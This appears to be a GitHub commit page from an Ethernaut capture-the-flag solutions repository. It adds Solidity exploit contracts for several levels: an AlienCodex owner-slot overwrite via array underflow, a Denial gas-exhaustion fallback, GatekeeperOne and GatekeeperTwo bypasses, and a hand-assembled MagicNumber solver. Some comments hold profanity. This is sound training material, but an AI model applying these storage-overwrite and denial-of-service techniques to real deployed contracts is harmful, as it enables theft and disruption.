Skip to content

Commit

Permalink
ethernaut lvls 17, 21, 22, 23, 24
Browse files Browse the repository at this point in the history
  • Loading branch information
0xgleb authored and LEV Bot committed Sep 1, 2023
1 parent 4d50f58 commit 3c290a0
Show file tree
Hide file tree
Showing 215 changed files with 15,828 additions and 413 deletions.
10 changes: 5 additions & 5 deletions Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,9 @@ exclude = [".github/", "**/tests/", "**/contracts/", "**/cache/", "**/out/"]

[workspace.dependencies]
eyre = "0.6"
ethers = "2.0.8"
rand = "0.8.5"
serde = "1.0.164"
serde_json = "1.0.99"
async-trait = "0.1.68"
tokio = { version = "1.19", features = ["macros", "rt-multi-thread", "time"] }
ethers = { version = "2", default-features = false, features = ["rustls"] }
16 changes: 11 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,12 @@
1) bind-attack
2) cargo test -p attack -- --nocapture
1. bind-attack
2. cargo test -p attack -- --nocapture
3. deploy-levels (перед этим анвил остановить, который крутит блокчейн) //нужно, если set up изменена
ps axu | grep anvil
anvil --steps-tracing --state state.json

4. cargo build (если удалить папку target) //не трогать

cast disassemble /ввести байткод/

# DEX OFFENDER

Expand Down Expand Up @@ -126,7 +132,7 @@ impl ctf::Exploit for Exploit {

If you then run `cargo test -p attack -- --nocapture` you should see something like this

``` text
```text
$ cargo test -p attack -- --nocapture
Compiling attack v0.1.0 (/home/gleb/code/0xgleb/data-cartel/dex-offender/attack)
Finished test [unoptimized + debuginfo] target(s) in 6.83s
Expand Down Expand Up @@ -165,7 +171,7 @@ test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; fini

If you're using the dev container then you already have a local blockchain running in one of the VS code terminals. If not, you can start it by running `anvil`. I would recommend turning on tracing to make debugging easier.

``` sh
```sh
anvil --steps-tracing --load-state state.json
```

Expand Down Expand Up @@ -314,7 +320,7 @@ $ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22

This is hard to read. Let's pipe it thorugh `jq`.

``` sh
```sh
$ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635 | jq .
[
{
Expand Down
1 change: 0 additions & 1 deletion attack/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,6 @@
name = "attack"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
Expand Down
48 changes: 48 additions & 0 deletions attack/contracts/ethernaut/AlienCodexExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../../../ctf/contracts/ethernaut/helpers/Ownable-05.sol";

contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function makeContact() public {
contact = true;
}

function record(bytes32 _content) public contacted {
codex.push(_content);
}

function retract() public contacted {
codex.length--;
}

function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}

contract HumanIsStronger {
address public owner;
AlienCodex original;

constructor(address payable _to) public {
owner = msg.sender;
original = AlienCodex(_to);
}

uint256 overflow = uint256(-1) - uint256(keccak256(abi.encode(1))) + 1;

function boom(address offender) public {
original.makeContact();
original.retract();
original.revise(overflow, bytes32(uint256(uint160(offender))));
}
}
2 changes: 1 addition & 1 deletion attack/contracts/ethernaut/CoinFlipExploit.sol
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ contract HackCoinFlip {
CoinFlip public coinContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _coin) public {
constructor(address _coin) {
coinContract = CoinFlip(_coin);
}

Expand Down
65 changes: 65 additions & 0 deletions attack/contracts/ethernaut/DenialExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/**
* @title Ethernaut Level 20: Denial
*
* This is a simple wallet that drips funds over time. You can withdraw the
* funds slowly by becoming a withdrawing partner.
*
* If you can deny the owner from withdrawing funds when they call withdraw()
* (whilst the contract still has funds, and the transaction is of 1M gas or less)
* you will win this level.
*/
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

contract InfiniteCalculation {
address public owner;
Denial original;

constructor(address payable _to) {
owner = msg.sender;
original = Denial(_to);
}

function boom() public {
original.setWithdrawPartner(address(this));
}

fallback() external payable {
assembly {
invalid()
}
}

receive() external payable {}
}
2 changes: 1 addition & 1 deletion attack/contracts/ethernaut/ElevatorExploit.sol
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ contract BuildingContract is Building {
Elevator public original;
bool is_first = true;

constructor(address payable _to) public {
constructor(address payable _to) {
owner = msg.sender;
original = Elevator(_to);
}
Expand Down
28 changes: 2 additions & 26 deletions attack/contracts/ethernaut/GatekeeperOneExploit.sol
Original file line number Diff line number Diff line change
Expand Up @@ -46,39 +46,15 @@ contract LetMeIn {
address public owner;
GatekeeperOne public original;

constructor(address payable _to) public {
constructor(address payable _to) {
owner = msg.sender;
original = GatekeeperOne(_to);
}

function go_inside(address aublyat) public payable returns (bool) {
/*значит так ебать, первый реквайр говорит, что последние 4 байта
должны совпасть с 2 последними байтами, поэтому у нас они будут 0000FFFF
второй реквайр говорит, что последние 4 байта не равны первым 8. Чтобы
его выполнить нам надо, чтобы первые 4 байта все вместе не равнялись 0.
Для этого сделаем их 01010101
третий реквайр говорит, что последние 2 байта адреса должны совпасть
с первыми 4 байтами ключа. Для этого мы сделаем последние 2 байта ключа
равными последним 2 байтам адреса, тогда будет 0000(XX)(YY), где XX и YY -
байты ключа
Выходит, что 0x0101010100000000 -- пустые последние 4 байта + второй реквайр
+ uint16(uint160(aublyat)) -- прибавляем последние 2 байта ключа
на выходе имеем 0x010101010000(XX)(YY)
И ЭТА ЕБАЛА ДОЛЖНА УДОВЛЕТВОРЯТЬ ВСЕМ УСЛОВИЯМ, СУКА
Мои тесты рекваеров показывали, что ломается третье условие. Я не понимаю почему.
*/
bytes8 key = bytes8(0x0101010100000000 + uint16(uint160(aublyat)));
for (uint256 i = 0; i <= 8191; i++) {
/*тут тупо брутфорсим необходимое число газа, хули нам, бобрам */
try original.enter{gas: 500000 + i}(key) {
try original.enter{gas: 800000 + i}(key) {
return true;
} catch {}
}
Expand Down
42 changes: 42 additions & 0 deletions attack/contracts/ethernaut/GatekeeperTwoExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract LetMeInAgain {
address public owner;
GatekeeperTwo public original;

constructor(address payable _to) {
owner = msg.sender;
bytes8 key = bytes8(keccak256(abi.encodePacked(this))) ^ 0xFFFFFFFFFFFFFFFF; //^ type(uint64).max
original = GatekeeperTwo(_to);
original.enter(key);
}
}
53 changes: 53 additions & 0 deletions attack/contracts/ethernaut/MagicNumberExploit.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {
address public solver;

constructor() {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

contract N {
//function whatIsTheMeaningOfLife() public returns(uint){
// return 42;
// заменяем на ассемблер
// assembly {
// mstore(0x00, 0x2a) // 42 в нулевой ячейке памяти
// return(0x00, 0x20) // возвращает из нулевой ячейки памяти хуйню длинны 0x20 (тридцать два)
// }
//}
// 0x60 -- пушит в память
// 0x52 -- запоминает в память
// 0xF3 -- ретёрн, ёпта
//
// 0x602a -- пушу 42 в память
// 0x6000 -- пушу место в памяти
// 0x52 -- запоминаю эту команду
// 0x6020 -- пушу размер куска памяти c числом (32)
// 0x6000 -- пушу место в памяти (0)
// 0xF3 -- возвращаю все это
// 0x602a60005260206000f3 -- итог (ровно 10 байт, ёпта)
//
constructor() {
assembly {
mstore(0x00, 0x602a60005260206000f3) // пушу всю команду в память
return(0x00, 0x0a) //возвращаю команду
}
}
}
Loading

0 comments on commit 3c290a0

Please sign in to comment.